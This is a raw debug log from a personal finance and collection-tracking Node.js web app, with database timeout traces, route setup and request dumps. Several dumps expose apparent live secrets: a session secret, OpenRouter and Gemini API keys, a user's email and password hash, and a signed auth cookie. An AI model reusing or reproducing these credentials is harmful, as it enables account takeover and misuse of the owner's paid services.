    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-18 09:53:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-18 14:29:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-18 14:29:28' as DATETIME)"
}
2026-03-19T01:36:17.542Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-03-19T01:36:19.750Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-03-19T01:36:20.614Z server-connect:setup:upload Upload middleware configured.
2026-03-19T01:36:20.615Z server-connect:secure CSRF Protection initialized
2026-03-19T01:36:20.620Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-03-19T01:36:20.622Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-03-19T01:36:20.622Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-03-19T01:36:20.624Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-03-19T01:36:20.633Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-03-19T01:36:20.634Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-03-19T01:36:20.649Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-03-19T01:36:20.662Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-03-19T01:36:20.665Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-03-19T01:36:20.667Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-03-19T01:36:20.669Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-03-19T01:36:20.673Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-03-19T01:36:20.680Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-03-19T01:36:20.689Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-03-19T01:36:20.692Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-03-19T01:36:20.766Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-03-19T01:36:20.766Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-03-19T01:36:20.771Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-03-19T01:36:20.777Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-03-19T01:36:20.781Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-03-19T01:36:20.782Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-03-19T01:36:20.790Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-03-19T01:36:20.792Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-03-19T01:36:20.798Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-03-19T01:36:20.800Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-03-19T01:36:20.806Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-03-19T01:36:20.808Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-03-19T01:36:20.810Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-03-19T01:36:20.816Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-03-19T01:36:20.818Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-03-19T01:36:20.819Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-03-19T01:36:20.822Z server-connect:setup:routes Api route /api/test(.json)? created
2026-03-19T01:36:20.825Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-03-19T01:36:20.827Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-03-19T01:36:20.833Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-03-19T01:36:20.837Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-03-19T01:36:20.839Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-03-19T01:36:20.849Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-03-19T01:36:21.337Z server-connect:router Serving templateView /
2026-03-19T01:36:21.341Z server-connect:router Serving templateView /
2026-03-19T01:36:21.342Z server-connect:app Executing action step identify
2026-03-19T01:36:21.342Z server-connect:app options: { provider: 'security' }
2026-03-19T01:36:21.344Z server-connect:auth No login cookie found
2026-03-19T01:36:21.345Z server-connect:output identity: false
2026-03-19T01:36:21.345Z server-connect:app Executing action step restrict
2026-03-19T01:36:21.345Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-19T01:36:21.349Z server-connect:output restrict: undefined
2026-03-19T01:36:21.350Z server-connect:app Executing action step identify
2026-03-19T01:36:21.350Z server-connect:app options: { provider: 'security' }
2026-03-19T01:36:21.350Z server-connect:auth No login cookie found
2026-03-19T01:36:21.350Z server-connect:output identity: false
2026-03-19T01:36:21.350Z server-connect:app Executing action step restrict
2026-03-19T01:36:21.350Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-19T01:36:21.351Z server-connect:output restrict: undefined
2026-03-19T01:36:21.388Z server-connect:router Serving templateView /login
2026-03-19T01:36:21.388Z server-connect:app Executing action step identify
2026-03-19T01:36:21.388Z server-connect:app options: { provider: 'security' }
2026-03-19T01:36:21.389Z server-connect:auth No login cookie found
2026-03-19T01:36:21.389Z server-connect:output identity: false
2026-03-19T01:36:21.389Z server-connect:router Render template layouts/authentication
2026-03-19T01:36:21.389Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.13.4 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    host: 'ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '34.147.22.160',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-20T01:36:21.387Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.147.22.160',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.13.4 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '34.147.22.160',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-19T01:36:21.400Z server-connect:router Serving templateView /login
2026-03-19T01:36:21.400Z server-connect:app Executing action step identify
2026-03-19T01:36:21.400Z server-connect:app options: { provider: 'security' }
2026-03-19T01:36:21.401Z server-connect:auth No login cookie found
2026-03-19T01:36:21.401Z server-connect:output identity: false
2026-03-19T01:36:21.401Z server-connect:router Render template layouts/authentication
2026-03-19T01:36:21.401Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.13.4 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    host: 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '34.90.191.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-20T01:36:21.399Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.90.191.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.13.4 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '34.90.191.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-19 03:21:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-19 03:21:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-19 04:38:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-19 04:38:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-19 05:13:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-19 05:13:22' as DATETIME)"
}
2026-03-19T06:47:12.797Z server-connect:router Serving templateView /
2026-03-19T06:47:12.799Z server-connect:app Executing action step identify
2026-03-19T06:47:12.799Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:12.866Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-19T06:47:12.871Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-19T06:47:12.929Z server-connect:output identity: 1
2026-03-19T06:47:12.930Z server-connect:app Executing action step restrict
2026-03-19T06:47:12.930Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-19T06:47:12.931Z server-connect:output restrict: undefined
2026-03-19T06:47:12.931Z server-connect:app Executing action step restrict
2026-03-19T06:47:12.931Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-19T06:47:12.932Z server-connect:output restrict: undefined
2026-03-19T06:47:12.932Z server-connect:router Render template layouts/main
2026-03-19T06:47:12.932Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ArCQ55mWUMgJPRF1JsOKxbw%3D%3D.9n2koolcxQOZg6e0EuUAuHks%2B2vtELE4ORvPaSSqvT4J8aY7nl%2FacVi2v3RuTTqGTcVrfCTJke%2BSmkJAunBnBYxC9%2BcpeKmZWqR86cF2iS%2B8LxRhym6g8L%2BNvV57hExI3gC17S1njvKjrBLgdAEWBhMiHL1KofpKZCQaFSTY3Xc%3D.uBElAGm22nqsDOJDXfSLFbKmtXQidX%2B5i1O5NnkZU5U',
    'x-forwarded-for': '49.43.177.75',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-20T06:47:12.796Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.177.75',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ArCQ55mWUMgJPRF1JsOKxbw%3D%3D.9n2koolcxQOZg6e0EuUAuHks%2B2vtELE4ORvPaSSqvT4J8aY7nl%2FacVi2v3RuTTqGTcVrfCTJke%2BSmkJAunBnBYxC9%2BcpeKmZWqR86cF2iS%2B8LxRhym6g8L%2BNvV57hExI3gC17S1njvKjrBLgdAEWBhMiHL1KofpKZCQaFSTY3Xc%3D.uBElAGm22nqsDOJDXfSLFbKmtXQidX%2B5i1O5NnkZU5U',
    'HTTP_X_FORWARDED-FOR': '49.43.177.75',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-19T06:47:15.422Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-19T06:47:15.423Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-19T06:47:15.423Z server-connect:app Executing action step identify
2026-03-19T06:47:15.423Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:15.423Z server-connect:output identity: 1
2026-03-19T06:47:15.423Z server-connect:app Executing action step restrict
2026-03-19T06:47:15.423Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-19T06:47:15.424Z server-connect:app Executing action step identify
2026-03-19T06:47:15.424Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:15.424Z server-connect:output identity: 1
2026-03-19T06:47:15.424Z server-connect:app Executing action step restrict
2026-03-19T06:47:15.424Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-19T06:47:15.425Z server-connect:output restrict: undefined
2026-03-19T06:47:15.429Z server-connect:app Executing action step select
2026-03-19T06:47:15.429Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-19T06:47:15.432Z server-connect:output restrict: undefined
2026-03-19T06:47:15.432Z server-connect:app Executing action step single
2026-03-19T06:47:15.432Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-19T06:47:15.442Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
